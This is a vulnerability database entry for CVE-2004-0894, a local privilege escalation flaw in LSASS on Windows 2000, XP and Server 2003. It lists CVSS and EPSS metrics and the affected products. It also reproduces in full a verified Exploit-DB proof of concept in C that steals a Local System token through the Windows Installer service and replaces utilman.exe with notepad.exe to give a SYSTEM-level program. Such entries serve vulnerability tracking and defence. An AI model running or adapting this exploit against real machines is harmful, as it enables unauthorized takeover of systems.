CVE-2004-0894 : Detail

CVE-2004-0894

1.73%V4
Local
2004-12-15
04h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
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CVE Descriptions

LSASS (Local Security Authority Subsystem Service) of Windows 2000 Server and Windows Server 2003 does not properly validate connection information, which allows local users to gain privileges via a specially-designed program.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 749

Publication date : 2005-01-10 23h00 +00:00
Author : Cesar Cerrudo
EDB Verified : Yes

/* Removed #include "stdafx.h" / str0ke */ #include <stdio.h> #include <windows.h> #define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1 #define PATH_SIZE INFO_BUFFER_SIZE + MAX_PATH + 4 typedef UINT (WINAPI* PFnMsiInstallProduct)(LPCSTR szPackagePath, LPCSTR szCommandLine); int main(int argc, char* argv[]) { HANDLE hToken,hThread; HMODULE hMsi = 0; CHAR infoBuf[INFO_BUFFER_SIZE]; DWORD bufCharCount = INFO_BUFFER_SIZE; CHAR file1[PATH_SIZE]="\\\\"; CHAR file2[PATH_SIZE]="\\\\"; CHAR file3[PATH_SIZE]="\\\\"; //Get name of the computer. GetComputerName(infoBuf, &bufCharCount); hThread=GetCurrentThread(); hMsi = LoadLibrary("msi.dll"); //Invoke windows installer service in order to steal a Local System account identity token. //Curious? some internal LPC magic here, see *1* PFnMsiInstallProduct MsiInstallProduct = 0; MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi, "MsiInstallProductA"); MsiInstallProduct("",""); //Get Local System account identity token and set it to current thread hToken=(void*)0x1; while(SetThreadToken(&hThread,hToken)==NULL){ hToken=(void*)((int)hToken+1); } strcat(file1,infoBuf); strcat(file1,"\\C$\\winnt\\system32\\utilman.exe"); strcat(file2,infoBuf); strcat(file2,"\\C$\\winnt\\system32\\utilmanback.exe"); strcat(file3,infoBuf); strcat(file3,"\\C$\\winnt\\system32\\notepad.exe"); //Replace Utility Manager with Notepad impersonating Local System account //BTW: fuck Windows file protection :) if(!CopyFile(file1,file2, TRUE)) printf("CopyFile() failed: %d\n", GetLastError()); else if(!CopyFile(file3,file1, FALSE)) printf("CopyFile() failed: %d\n", GetLastError()); else { printf("\nPress WinKey+U to run Notepad as Local System\n"); printf("Remember to restore original utilman.exe from utilmanback.exe\n"); } Sleep(5000); return 0; } // milw0rm.com [2005-01-11]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version datacenter_64-bit

    Microsoft>>Windows_2003_server >> Version enterprise

      Microsoft>>Windows_2003_server >> Version enterprise

        Microsoft>>Windows_2003_server >> Version enterprise_64-bit

          Microsoft>>Windows_2003_server >> Version enterprise_64-bit

            Microsoft>>Windows_2003_server >> Version r2

              Microsoft>>Windows_2003_server >> Version r2

                Microsoft>>Windows_2003_server >> Version r2

                  Microsoft>>Windows_2003_server >> Version standard

                    Microsoft>>Windows_2003_server >> Version standard

                      Microsoft>>Windows_2003_server >> Version web

                        Microsoft>>Windows_2003_server >> Version web

                          Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              References